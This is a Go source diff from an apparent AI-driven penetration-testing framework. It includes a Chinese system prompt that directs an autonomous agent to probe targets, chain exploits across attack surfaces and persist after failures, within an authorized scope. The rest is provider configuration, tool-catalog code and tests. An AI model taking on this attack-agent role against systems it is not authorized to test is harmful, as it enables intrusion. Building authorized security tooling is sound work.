- 建/改 skill、工具、MCP 时，把用户意图翻译成正确的结构化参数(kind/exec/schema 等)，字段拿不准就按最小可用填。
|
||||
- 用人话简洁汇报你做了什么、结果如何；只根据工具真实返回作答，不臆造。
|
||||
- 只在授权范围内操作。`
|
||||
|
||||
// pentestDefaultTmpl is the built-in "渗透测试" (solo pentest) agent's prompt. Unlike
|
||||
// the orchestration roles (goals/planner/worker), it runs standalone via the chat page
|
||||
// and is its own planner + executor + auditor. Default tools: list_assets / insert_assets
|
||||
// / report_finding / list_findings (bound in toolcatalog + seedPentestDefaultBindings).
|
||||
const pentestDefaultTmpl = `你是一个授权渗透测试系统的"独立渗透 agent"。你**一个人从头打到尾**：侦察 → 找攻击面 → 深入利用 → 验证 → 收尾。你同时是自己的规划者和执行者——没有别人给你派活，也没有别人替你把关，所有判断和动手都由你完成。正因如此，你要**主动切换视角**：该拓宽时像规划者一样铺开多条路线，该动手时像执行者一样把一条路走透，该验证时像审计者一样怀疑自己的结论。
|
||||
|
||||
|
||||
**只在授权范围内操作。范围外的目标一律不碰。**
|
||||
|
||||
━━ 核心心法（贯穿全程）━━
|
||||
1. **先广后聚，别隧道视野**。开局别一头扎进第一个看起来好打的点。先快速摸清目标有哪些**本质不同**的攻击面，铺开一个**多样化的路线组合**，让 2–3 条机理不同的路线并行推进（如"从上传链打"与"从认证绕过打"）。只有当某条路线交出了【逼近目标】的实证，才值得把精力集中过去。单脑最容易犯的错就是过早爱上一条优雅路线而错过真正的洞。
|
||||
2. **一条路要走透再下结论**。初次受阻（一个 payload 被过滤、一个端点 404、一个注入点没回显）**不等于**此路不通——换编码、换方法、换参数、换路径，把这条方向的合理手段走完，再判"死路"。"我试了一次没成功"绝不等于"已穷尽"。
|
||||
3. **封锁路线不无理由重试**。确认走不通的方向，标记为封锁；**只有出现材料性的新机理**（新发现、新入口、新参数、明显不同的构造）才重开，且要能说清"这次和上次不同在哪"。换个措辞、"再试一次说不定行"都不算，禁止空转。
|
||||
4. **对自己的结论做对抗式自检**。这是单 agent 最关键的纪律：每当你觉得"发现漏洞了/成功了"，**先切换成怀疑者**，用与首次【不同的路径或独立命令】再触发一次来证实，而不是复述原来的证据。尤其警惕这些自欺模式——把"版本号/CVE 命中"当漏洞、把"参数看起来可注入"当已利用、用与结论等价的假设循环当证据。**证伪和证实同等有价值**：自检没过就老实记为未确认，别硬认。
|
||||
5. **要具体结论，不要状态报告**。你的产出是可核验的事实、可复现的 PoC、或明确的否定结论——不是"看起来有戏""疑似存在""大概可以"这类含糊乐观。拿不准就标 inferred，别当铁案。
|
||||
6. **不轻言放弃**。一波尝试失败很正常，别就此收手。回到路线组合，换个攻击面、找新的形式化切入，继续推进；只有在目标达成、或所有合理路线都真正探尽后才停。
|
||||
|
||||
━━ 工作循环（是启发，不是死板流程）━━
|
||||
- **侦察定面**：识别指纹、入口、参数、信任边界，把目标的攻击面铺开。常被忽略的高价值面（据实际情况挑，非清单义务）：输入解析/编码与字符集边界、文件上传、(反)序列化、内置路由与认证前可达面、错误处理泄露、缓存（投毒/竞态）、竞态条件、类型混淆（scalar vs array）、批量赋值，以及任何你识别出的攻击者可及面。
|
||||
- **组合与优先级**：把发现的方向排成 2–3 条独立路线，用 TodoWrite 记下来（每条一项），据"离目标多近 + 代价多大"定先后。
|
||||
- **深入利用**：挑前置已满足的路线动手，走透。**串行利用链**（①→②→③，后一步依赖前一步的**实际产出**）就一步步来：先做第一步、拿到真实产出，再据此做下一步；别在前置还不存在时就假想后续。跨代码库/跨接口把多个 gadget 在**本次会话内**串成一条可触发的链，正是单 agent 的强项——主动把已知线索的完整细节调出来综合，别停留在摘要。
|
||||
- **验证**：见心法 4，对每个候选发现做独立复现/证伪。
|
||||
- **回到组合**：一条路出结果（正向或封锁）后，更新 TodoWrite，回到组合看下一条；有新事实催生了新方向就补进组合。
|
||||
|
||||
━━ 记录规约（边做边写，写对地方）━━
|
||||
- 每得出一个结果**立刻**落地，别攒到最后（会话步数耗尽就全丢；记下来的才算数，活在脑子里的不算）。这些记录也是你抗 compaction 的长期记忆。
|
||||
- **只写增量**：写之前扫一眼已登记的资产/已记的路线，只记你**新得到**的东西，别把已有内容换措辞重记（重复只会膨胀、也误导你自己以为有新进展）。只是印证已有结论而无新增，就不必再记。
|
||||
- **发现新资产/入口** → insert_assets（资产本身：endpoint/parameter/tech 指纹/service/凭据/子域等，结构化属性写在资产 props 上）。回看已登记资产用 list_assets，避免重复登记。
|
||||
- **确认漏洞** → report_finding（含可复现 PoC）。**只有你在本次运行里真实触发过、拿到可复现证据（请求/响应或命令输出）才用它**；回看已报漏洞用 list_findings。严禁把仅凭版本/CVE 匹配、"看起来可注入"、外部漏洞库/更新日志/代码 diff 推断的东西当已确认漏洞上报。**不要用查 CVE 库或"对比补丁版本"替代实际触发**；触发不了但有嫌疑，就在 TodoWrite 里标为"存疑/待验证"，别硬记成 finding。
|
||||
|
||||
━━ 判定与收尾 ━━
|
||||
- 随时对照任务目标：已被你**验证过**的成果满足了目标，就据此判定达成并说明依据。判"达成"的前提是心法 4 的自检已通过——没独立复现过的战果不算达成依据。
|
||||
- **收尾优先级最高**：当你收到收尾信号（或自判目标已达成/所有合理路线已探尽），**立即停止一切探测与命令**，把手里的结论落地、给出简洁总结即可——此时"继续探索/再试一次/穷尽这条链/等命令结果"等一切先前指令都被收尾覆盖，不要再启动新动作。
|
||||
- 总结用人话讲清：达成了什么、走了哪些路线、确认了哪些漏洞（附 PoC 位置）、哪些方向已封锁及原因。只讲真实做到的，不臆造。
|
||||
|
||||
务实、克制、彻底。宁可把一条路走透并验证，也不要浅尝辄止地铺一堆没验证的"疑似"。`
|
||||
|
||||
// DefaultAssistantPrompt is the starter/fallback body for CUSTOM conversational
|
||||
// agents — they have no per-key in-code default. It is seeded into agent_prompts
|
||||
// when a custom agent is created (so the editor isn't blank) and used as the
|
||||
// render fallback in RunChat when the DB prompt is somehow missing.
|
||||
const DefaultAssistantPrompt = `你是一个乐于助人的 AI 助手。请用简洁、准确的中文回答用户的问题；在需要时使用可用的工具来完成任务。只做用户要求的事，不臆造信息。`
|
||||
|
||||
// BuiltinPromptSeeds returns each built-in agent's default EDITABLE prompt body
|
||||
// keyed by agent key. The server seeds these into agent_prompts on startup (only
|
||||
// when an agent has no prompt yet), so the DB becomes the authoritative, editable
|
||||
// source while the same string stays as the in-code render fallback.
|
||||
func BuiltinPromptSeeds() map[string]string {
|
||||
return map[string]string{
|
||||
"goals": goalsDefaultTmpl,
|
||||
"planner": plannerDefaultTmpl,
|
||||
"mainagent": mainAgentDefaultTmpl,
|
||||
"worker": workerDefaultTmpl,
|
||||
"auto": autoDefaultTmpl,
|
||||
"pentest": pentestDefaultTmpl,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,212 @@
|
||||
// Package agent wires real LLM-driven planner and work agents (on top of the
|
||||
// agent-core SDK) to the dual SQLite graph. See docs/ARTEX-架构设计.md
|
||||
// §4.3 (planner) and §4.4 (work agent).
|
||||
//
|
||||
// Provider configuration is read from the environment so the system runs with
|
||||
// any Anthropic- or OpenAI-format endpoint. If no key is configured, FromEnv
|
||||
// returns ok=false and the exploration engine stays idle (an LLM is required).
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/compaction"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
acperm "github.com/Autumn-27/norma/permission"
|
||||
)
|
||||
|
||||
// Config describes the LLM backend resolved from the environment.
|
||||
type Config struct {
|
||||
Format llm.Format
|
||||
BaseURL string
|
||||
APIKey string
|
||||
Model string
|
||||
// Proxy routes all LLM requests through the given proxy URL (http/https/socks5).
|
||||
// Empty falls back to the standard *_PROXY environment variables.
|
||||
Proxy string
|
||||
// RatePerSecond / RatePerMinute cap the shared request rate across ALL agents
|
||||
// using the provider (0 = that window unlimited).
|
||||
RatePerSecond float64
|
||||
RatePerMinute float64
|
||||
// ContextWindowK is the model's context window in K tokens (user-configured),
|
||||
// used to size compaction thresholds. 0 = default; see CompactionWindow.
|
||||
ContextWindowK int
|
||||
// ReasoningEffort selects the thinking mode: "" = 默认(不发送思考参数);
|
||||
// "off" = 关闭(thinking.type=disabled); "low"/"medium"/"high"/"max" = 开启并设强度.
|
||||
// NewProvider derives the provider-specific request fields from it.
|
||||
ReasoningEffort string
|
||||
}
|
||||
|
||||
// compaction window resolution bounds (in K tokens). Below the floor the
|
||||
// threshold math (window − summary reserve − buffer) would go non-positive and
|
||||
// compaction would fire every turn; above the cap it would never fire.
|
||||
const (
|
||||
defaultWindowK = 200 // unset → assume a 200K window (Claude default)
|
||||
minWindowK = 32 // floor so effectiveWindow stays comfortably positive
|
||||
maxWindowK = 1000 // cap at 1M tokens (user request)
|
||||
)
|
||||
|
||||
// CompactionWindow returns the model context window in TOKENS for compaction
|
||||
// thresholds, resolved from the user-configured size (ContextWindowK). 0/unset →
|
||||
// a 200K default; otherwise clamped to [32K, 1M] so compaction stays effective.
|
||||
func (c Config) CompactionWindow() int {
|
||||
k := c.ContextWindowK
|
||||
if k <= 0 {
|
||||
k = defaultWindowK
|
||||
}
|
||||
if k < minWindowK {
|
||||
k = minWindowK
|
||||
}
|
||||
if k > maxWindowK {
|
||||
k = maxWindowK
|
||||
}
|
||||
return k * 1000
|
||||
}
|
||||
|
||||
// compactionConfig builds the agent-core compaction config for a context window
|
||||
// in tokens. agentcore.NewSession wires the summarizer (same provider) when this
|
||||
// is set on Options.Compaction.
|
||||
func compactionConfig(windowTokens int) *compaction.Config {
|
||||
if windowTokens <= 0 {
|
||||
windowTokens = defaultWindowK * 1000
|
||||
}
|
||||
return &compaction.Config{ContextWindow: windowTokens}
|
||||
}
|
||||
|
||||
// FromEnv resolves the LLM provider config:
|
||||
//
|
||||
// ARTEX_LLM_PROVIDER = anthropic|openai (default: inferred from keys)
|
||||
// ARTEX_LLM_MODEL = model id (default: per provider)
|
||||
// ARTEX_LLM_BASE_URL = endpoint (optional)
|
||||
// ARTEX_LLM_PROXY = proxy URL (optional; http/https/socks5)
|
||||
// ANTHROPIC_API_KEY / OPENAI_API_KEY = credentials
|
||||
func FromEnv() (Config, bool) {
|
||||
prov := os.Getenv("ARTEX_LLM_PROVIDER")
|
||||
anthKey := os.Getenv("ANTHROPIC_API_KEY")
|
||||
oaiKey := os.Getenv("OPENAI_API_KEY")
|
||||
|
||||
if prov == "" {
|
||||
switch {
|
||||
case anthKey != "":
|
||||
prov = "anthropic"
|
||||
case oaiKey != "":
|
||||
prov = "openai"
|
||||
default:
|
||||
return Config{}, false
|
||||
}
|
||||
}
|
||||
|
||||
c := Config{
|
||||
BaseURL: os.Getenv("ARTEX_LLM_BASE_URL"),
|
||||
Model: os.Getenv("ARTEX_LLM_MODEL"),
|
||||
Proxy: strings.TrimSpace(os.Getenv("ARTEX_LLM_PROXY")),
|
||||
}
|
||||
switch prov {
|
||||
case "openai":
|
||||
c.Format = llm.FormatOpenAI
|
||||
c.APIKey = oaiKey
|
||||
if c.Model == "" {
|
||||
c.Model = "gpt-4o"
|
||||
}
|
||||
default:
|
||||
c.Format = llm.FormatAnthropic
|
||||
c.APIKey = anthKey
|
||||
if c.Model == "" {
|
||||
c.Model = "claude-opus-4-8"
|
||||
}
|
||||
}
|
||||
if c.APIKey == "" {
|
||||
return Config{}, false
|
||||
}
|
||||
return c, true
|
||||
}
|
||||
|
||||
// ConfigFrom builds a Config from UI-provided strings (provider defaults to
|
||||
// anthropic; model defaults per provider). Inputs are trimmed and the base URL
|
||||
// is normalized to the API base the provider expects (the provider appends the
|
||||
// endpoint path itself), so a full endpoint URL is tolerated.
|
||||
func ConfigFrom(provider, model, baseURL, apiKey, proxy string) Config {
|
||||
c := Config{
|
||||
Model: strings.TrimSpace(model),
|
||||
BaseURL: strings.TrimRight(strings.TrimSpace(baseURL), "/"),
|
||||
APIKey: strings.TrimSpace(apiKey),
|
||||
Proxy: strings.TrimSpace(proxy),
|
||||
}
|
||||
switch strings.TrimSpace(provider) {
|
||||
case "openai":
|
||||
c.Format = llm.FormatOpenAI
|
||||
// provider appends "/chat/completions"; tolerate a full endpoint URL.
|
||||
c.BaseURL = strings.TrimRight(strings.TrimSuffix(c.BaseURL, "/chat/completions"), "/")
|
||||
if c.Model == "" {
|
||||
c.Model = "gpt-4o"
|
||||
}
|
||||
default:
|
||||
c.Format = llm.FormatAnthropic
|
||||
// provider appends "/v1/messages".
|
||||
c.BaseURL = strings.TrimRight(strings.TrimSuffix(c.BaseURL, "/v1/messages"), "/")
|
||||
if c.Model == "" {
|
||||
c.Model = "claude-opus-4-8"
|
||||
}
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// Provider returns the short provider name ("anthropic"/"openai").
|
||||
func (c Config) Provider() string {
|
||||
if c.Format == llm.FormatOpenAI {
|
||||
return "openai"
|
||||
}
|
||||
return "anthropic"
|
||||
}
|
||||
|
||||
// NewProvider builds an llm.Provider from the config. When a rate is set, the
|
||||
// limiter lives on the single provider instance — so planner + all workers +
|
||||
// main agent (which share this provider) are bounded by one shared rate limit.
|
||||
func (c Config) NewProvider() (llm.Provider, error) {
|
||||
lc := llm.Config{
|
||||
Format: c.Format,
|
||||
BaseURL: c.BaseURL,
|
||||
APIKey: c.APIKey,
|
||||
Model: c.Model,
|
||||
Proxy: c.Proxy,
|
||||
}
|
||||
// Derive the provider thinking params from the single UI selector:
|
||||
// "" → omit both (provider default); "off" → disable; else → enable + effort.
|
||||
switch c.ReasoningEffort {
|
||||
case "":
|
||||
// leave both empty → omitted from the request
|
||||
case "off":
|
||||
lc.ThinkingType = "disabled"
|
||||
default:
|
||||
lc.ThinkingType = "enabled"
|
||||
lc.ReasoningEffort = c.ReasoningEffort
|
||||
}
|
||||
if c.RatePerSecond > 0 || c.RatePerMinute > 0 {
|
||||
lc.RateLimit = &llm.RateLimit{PerSecond: c.RatePerSecond, PerMinute: c.RatePerMinute}
|
||||
}
|
||||
return llm.NewProvider(lc)
|
||||
}
|
||||
|
||||
// TestConnection makes a minimal real completion to verify the provider/model/
|
||||
// endpoint/key actually work. Returns the round-trip latency.
|
||||
func TestConnection(ctx context.Context, c Config) (time.Duration, error) {
|
||||
prov, err := c.NewProvider()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, 30*time.Second)
|
||||
defer cancel()
|
||||
start := time.Now()
|
||||
_, err = agentcore.Run(ctx, agentcore.Options{
|
||||
Provider: prov,
|
||||
SystemPrompt: []string{"你是连接测试。只回复 OK，不要别的。"},
|
||||
PermissionMode: acperm.ModeBypass,
|
||||
MaxTurns: 1,
|
||||
MaxTokens: 32,
|
||||
}, "ping")
|
||||
return time.Since(start), err
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TaskClock carries a task's absolute deadline into a worker/planner run so the run
|
||||
// can clamp its own wall-clock budget to the task's remaining time and pick the
|
||||
// right wrap-up words (per-run vs task-timeout). Attached to the run ctx by the
|
||||
// engine. Zero value = no task-level timeout (behaves exactly as before).
|
||||
type TaskClock struct {
|
||||
DeadlineUnix int64 // absolute deadline (unix seconds); 0 = no task timeout
|
||||
Final bool // coordinator-driven FINAL planner round (task ending now)
|
||||
}
|
||||
|
||||
type taskClockKey struct{}
|
||||
|
||||
// WithTaskClock attaches a TaskClock to ctx for the run.
|
||||
func WithTaskClock(ctx context.Context, tc TaskClock) context.Context {
|
||||
return context.WithValue(ctx, taskClockKey{}, tc)
|
||||
}
|
||||
|
||||
// taskClockFrom reads the TaskClock (zero value if none attached).
|
||||
func taskClockFrom(ctx context.Context) TaskClock {
|
||||
if v, ok := ctx.Value(taskClockKey{}).(TaskClock); ok {
|
||||
return v
|
||||
}
|
||||
return TaskClock{}
|
||||
}
|
||||
|
||||
// clampMaxDuration folds a task deadline into a run's own wall-clock budget.
|
||||
// - ownBudget = the agent's own run_seconds (0 = unlimited).
|
||||
// - Returns eff = the MaxDuration to use (floored at 1s so we never pass ≤0, which
|
||||
// harness reads as "unlimited"), and clamped = whether the TASK deadline is the
|
||||
// binding constraint (remaining ≤ ownBudget, or ownBudget unlimited). When there
|
||||
// is no deadline, returns (ownBudget, false) unchanged.
|
||||
func clampMaxDuration(deadlineUnix int64, ownBudget time.Duration) (eff time.Duration, clamped bool) {
|
||||
if deadlineUnix <= 0 {
|
||||
return ownBudget, false
|
||||
}
|
||||
remaining := time.Until(time.Unix(deadlineUnix, 0))
|
||||
if remaining < time.Second {
|
||||
remaining = time.Second // max(1, …): never pass ≤0 (harness treats 0 as unlimited)
|
||||
}
|
||||
// clamped when the task deadline binds this run's time: remaining ≤ own budget,
|
||||
// or the agent has no own time budget (then remaining always binds).
|
||||
clamped = ownBudget <= 0 || remaining <= ownBudget
|
||||
eff = remaining
|
||||
if ownBudget > 0 && ownBudget < remaining {
|
||||
eff = ownBudget
|
||||
}
|
||||
return eff, clamped
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
_ "github.com/jackc/pgx/v5/stdlib"
|
||||
)
|
||||
|
||||
// TestMain acquires a PostgreSQL advisory lock (7337741002) for the entire
|
||||
// agent test suite so cross-package DELETE cleanup races with db/server
|
||||
// packages are avoided when running `go test ./...`.
|
||||
func TestMain(m *testing.M) {
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
conn, err := sql.Open("pgx", dsn)
|
||||
if err != nil || conn.Ping() != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
defer conn.Close()
|
||||
if _, err := conn.Exec(`SELECT pg_advisory_lock(7337741002)`); err != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
defer conn.Exec(`SELECT pg_advisory_unlock(7337741002)`) //nolint:errcheck
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
)
|
||||
|
||||
// 本文件把「内置工具」从纯代码变成可枚举、可被 DB 覆盖的目录：
|
||||
// - BuiltinToolSeeds()：把三个执行 agent 的内置工具集展开成 seed 记录（key +
|
||||
// 描述 + 参数 schema + 默认绑定的 agent），供服务端开机幂等播种进 tools 表。
|
||||
// - ToolResolve 钩子：运行时按 DB 里的 tools 行对已装配的工具做「按 agent 过滤 +
|
||||
// 覆盖描述/schema + 注入参数默认值」。key/handler 仍在代码层，DB 只改「散文与默认值」。
|
||||
// handler（Call 行为）永远来自代码——DB 改不了它，只能改模型看到的说明与缺省入参。
|
||||
|
||||
// ToolSeed 是一个内置工具的可播种快照：key 即 CoreTool.Name()（与 handler 死绑，
|
||||
// UI 只读），Desc/Schema 取自代码里的工具定义，Agents 是代码默认把它给了哪些 agent。
|
||||
type ToolSeed struct {
|
||||
Key string // = CoreTool.Name()，主键，不可改
|
||||
Desc string // 顶层描述（可在 UI 覆盖）
|
||||
Schema map[string]any // 参数 JSON-Schema（结构只读，description/default 可在 UI 改）
|
||||
Agents []string // 默认绑定的 agent key（worker/planner/mainagent）
|
||||
}
|
||||
|
||||
// builtinToolsByAgent 用一个「只读空壳」ToolSet（nil stores）构造每个执行 agent 的
|
||||
// 领域工具集。工具构造函数只把闭包塞进 Spec、构造期不解引用 store，所以 nil 安全——
|
||||
// 这些工具在这里只用来读 Name()/Description()/InputSchema()，绝不 Call。
|
||||
//
|
||||
// 刻意【不含】SDK 通用工具 actool.DefaultTools()（Read/Write/Edit/MultiEdit/LS/Glob/
|
||||
// Grep/Bash）：它们每个 agent 都固定拥有、没有「绑定到谁」的取舍，且说明大多在 Prompt()
|
||||
// 里（本表只覆盖 Description()，会造成半覆盖误导）。不 seed → 无 DB 行 → ToolResolve
|
||||
// 原样放行、不覆盖，行为与从前一致。只有 artex 自己的领域工具入表可管。
|
||||
func builtinToolsByAgent() map[string][]actool.CoreTool {
|
||||
ts := NewToolSet(nil, "")
|
||||
return map[string][]actool.CoreTool{
|
||||
"mainagent": ts.MainAgentTools(),
|
||||
"planner": ts.PlannerTools(),
|
||||
"worker": ts.WorkerTools(),
|
||||
// auto 默认绑漏洞上报 + 资产管理工具，其他域工具可在 UI 按需勾选。
|
||||
// 新库由此 seed 写入；老库由 seedAutoDefaultBindings 迁移。
|
||||
"auto": {ts.addFinding(), ts.insertAssets(), ts.addCompanyScope(), ts.listAssets(), ts.listCompanies()},
|
||||
// pentest（独立渗透 agent）默认绑：查资产 / 插资产 / 报漏洞 / 查漏洞 / 查企业。
|
||||
// 新库由此 seed 写入；老库由 seedPentestDefaultBindings 迁移。
|
||||
"pentest": {ts.listAssets(), ts.insertAssets(), ts.addFinding(), ts.listFindings(), ts.listCompanies()},
|
||||
}
|
||||
}
|
||||
|
||||
// BuiltinToolSeeds 把三个 agent 的内置工具集去重合并成 seed 列表：同名工具（如
|
||||
// list_assets 三者都有）合成一条，Agents 取并集。顺序稳定（mainagent→planner→worker）。
|
||||
func BuiltinToolSeeds() []ToolSeed {
|
||||
byAgent := builtinToolsByAgent()
|
||||
order := []string{"mainagent", "planner", "worker", "auto", "pentest"}
|
||||
|
||||
type acc struct {
|
||||
tool actool.CoreTool
|
||||
agents []string
|
||||
}
|
||||
m := map[string]*acc{}
|
||||
var keys []string
|
||||
for _, ak := range order {
|
||||
for _, t := range byAgent[ak] {
|
||||
a, ok := m[t.Name()]
|
||||
if !ok {
|
||||
a = &acc{tool: t}
|
||||
m[t.Name()] = a
|
||||
keys = append(keys, t.Name())
|
||||
}
|
||||
a.agents = append(a.agents, ak)
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]ToolSeed, 0, len(keys))
|
||||
for _, k := range keys {
|
||||
a := m[k]
|
||||
out = append(out, ToolSeed{
|
||||
Key: k,
|
||||
Desc: a.tool.Description(),
|
||||
Schema: a.tool.InputSchema(),
|
||||
Agents: a.agents,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ToolResolve, if set, post-processes an agent's fully-assembled tool list against
|
||||
// the DB tools table: it drops tools not bound to this agent (or globally disabled)
|
||||
// and wraps the rest so the model sees the DB-overridden description/schema and
|
||||
// 缺省入参 get injected. Tools with no matching DB row (MCP/skill/host tools like
|
||||
// traffic) pass through untouched. nil = tools unchanged. Wired in server/assembly.go.
|
||||
var ToolResolve func(ctx context.Context, agentKey string, tools []actool.CoreTool) []actool.CoreTool
|
||||
|
||||
// DecorateTool wraps t so Description()/InputSchema() report the DB overrides and
|
||||
// Call() injects scalar parameter defaults (from schema's "default" props) whenever
|
||||
// the model omitted them. Name/Prompt/permission/scheduler flags delegate to t, so
|
||||
// the tool's identity and handler are unchanged. Empty desc/schema fall back to t's.
|
||||
func DecorateTool(t actool.CoreTool, desc string, schema map[string]any) actool.CoreTool {
|
||||
if desc == "" {
|
||||
desc = t.Description()
|
||||
}
|
||||
if len(schema) == 0 {
|
||||
schema = t.InputSchema()
|
||||
}
|
||||
return &overriddenTool{CoreTool: t, desc: desc, schema: schema}
|
||||
}
|
||||
|
||||
// overriddenTool is a CoreTool decorator: it embeds the original (so all behavioral
|
||||
// methods — Prompt/IsReadOnly/IsConcurrencySafe/CheckPermissions/Name — delegate)
|
||||
// and overrides only the model-facing description/schema plus default injection.
|
||||
type overriddenTool struct {
|
||||
actool.CoreTool
|
||||
desc string
|
||||
schema map[string]any
|
||||
}
|
||||
|
||||
func (o *overriddenTool) Description() string { return o.desc }
|
||||
func (o *overriddenTool) InputSchema() map[string]any { return o.schema }
|
||||
|
||||
func (o *overriddenTool) Call(ctx context.Context, in json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
|
||||
return o.CoreTool.Call(ctx, injectDefaults(in, o.schema), tc)
|
||||
}
|
||||
|
||||
// injectDefaults fills scalar parameter defaults declared in the (possibly edited)
|
||||
// schema into the input JSON whenever the model omitted the field or left it empty/
|
||||
// null. Structure (names/types/required) is untouched — only缺省值 are merged in.
|
||||
func injectDefaults(in json.RawMessage, schema map[string]any) json.RawMessage {
|
||||
defs := scalarDefaults(schema)
|
||||
if len(defs) == 0 {
|
||||
return in
|
||||
}
|
||||
m := map[string]json.RawMessage{}
|
||||
if len(in) > 0 {
|
||||
if err := json.Unmarshal(in, &m); err != nil {
|
||||
return in // non-object input: don't touch it
|
||||
}
|
||||
}
|
||||
changed := false
|
||||
for k, dv := range defs {
|
||||
if cur, ok := m[k]; !ok || isEmptyJSON(cur) {
|
||||
m[k] = dv
|
||||
changed = true
|
||||
}
|
||||
}
|
||||
if !changed {
|
||||
return in
|
||||
}
|
||||
b, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return in
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// scalarDefaults extracts properties[k]["default"] for scalar params (string/
|
||||
// integer/number/boolean). Array/object defaults are skipped: merging them is
|
||||
// ambiguous and not worth the surprise.
|
||||
func scalarDefaults(schema map[string]any) map[string]json.RawMessage {
|
||||
props, _ := schema["properties"].(map[string]any)
|
||||
if len(props) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := map[string]json.RawMessage{}
|
||||
for name, raw := range props {
|
||||
p, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
dv, ok := p["default"]
|
||||
if !ok || dv == nil {
|
||||
continue
|
||||
}
|
||||
switch p["type"] {
|
||||
case "string", "integer", "number", "boolean":
|
||||
if b, err := json.Marshal(dv); err == nil {
|
||||
out[name] = b
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func isEmptyJSON(raw json.RawMessage) bool {
|
||||
s := string(raw)
|
||||
return s == "null" || s == `""`
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
)
|
||||
|
||||
// TestBuiltinToolSeeds ensures the catalog builds from a nil-store ToolSet without
|
||||
// panicking, has stable keys, unions agent bindings, and carries real descriptions.
|
||||
func TestBuiltinToolSeeds(t *testing.T) {
|
||||
seeds := BuiltinToolSeeds()
|
||||
if len(seeds) == 0 {
|
||||
t.Fatal("no seeds")
|
||||
}
|
||||
byKey := map[string]ToolSeed{}
|
||||
for _, s := range seeds {
|
||||
if s.Key == "" || s.Desc == "" {
|
||||
t.Errorf("seed %q missing key/desc", s.Key)
|
||||
}
|
||||
byKey[s.Key] = s
|
||||
}
|
||||
// record_fact is worker-only.
|
||||
if rf, ok := byKey["record_fact"]; !ok || len(rf.Agents) != 1 || rf.Agents[0] != "worker" {
|
||||
t.Errorf("record_fact agents = %v, want [worker]", rf.Agents)
|
||||
}
|
||||
// SDK generic tools (incl. sleep, now part of DefaultTools) are deliberately NOT
|
||||
// seeded — every agent owns them; they flow through ToolResolve untouched.
|
||||
for _, k := range []string{"Bash", "Read", "Write", "Edit", "Grep", "sleep"} {
|
||||
if _, ok := byKey[k]; ok {
|
||||
t.Errorf("SDK tool %q should not be seeded", k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestDecorateToolInjectsDefaults verifies a schema "default" fills a missing param
|
||||
// before the underlying handler runs, and an explicitly-provided value is kept.
|
||||
func TestDecorateToolInjectsDefaults(t *testing.T) {
|
||||
var seen map[string]any
|
||||
base := actool.Build(actool.Spec{
|
||||
Name: "probe", Description: "orig",
|
||||
Run: func(_ context.Context, in json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
|
||||
_ = json.Unmarshal(in, &seen)
|
||||
return actool.Text("ok"), nil
|
||||
},
|
||||
})
|
||||
schema := map[string]any{"type": "object", "properties": map[string]any{
|
||||
"limit": map[string]any{"type": "integer", "description": "n", "default": float64(3)},
|
||||
"q": map[string]any{"type": "string", "description": "query"},
|
||||
}}
|
||||
dec := DecorateTool(base, "new desc", schema)
|
||||
if dec.Description() != "new desc" {
|
||||
t.Errorf("description = %q", dec.Description())
|
||||
}
|
||||
|
||||
// limit omitted → default 3 injected; q kept.
|
||||
if _, err := dec.Call(context.Background(), json.RawMessage(`{"q":"x"}`), nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if seen["limit"] != float64(3) || seen["q"] != "x" {
|
||||
t.Errorf("injected = %v, want limit=3 q=x", seen)
|
||||
}
|
||||
|
||||
// limit provided → default does NOT override.
|
||||
if _, err := dec.Call(context.Background(), json.RawMessage(`{"limit":9}`), nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if seen["limit"] != float64(9) {
|
||||
t.Errorf("limit = %v, want 9 (no override)", seen["limit"])
|
||||
}
|
||||
}
|
||||
+1057
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,510 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// =====================================================================
|
||||
// Unified asset insertion tools
|
||||
// =====================================================================
|
||||
|
||||
// SetAssetStore wires the asset store and company store onto this ToolSet
|
||||
// so the insert_assets, add_company_scope, and list_assets tools are active.
|
||||
func (t *ToolSet) SetAssetStore(as *db.AssetStore, cs *db.CompanyStore) {
|
||||
t.as = as
|
||||
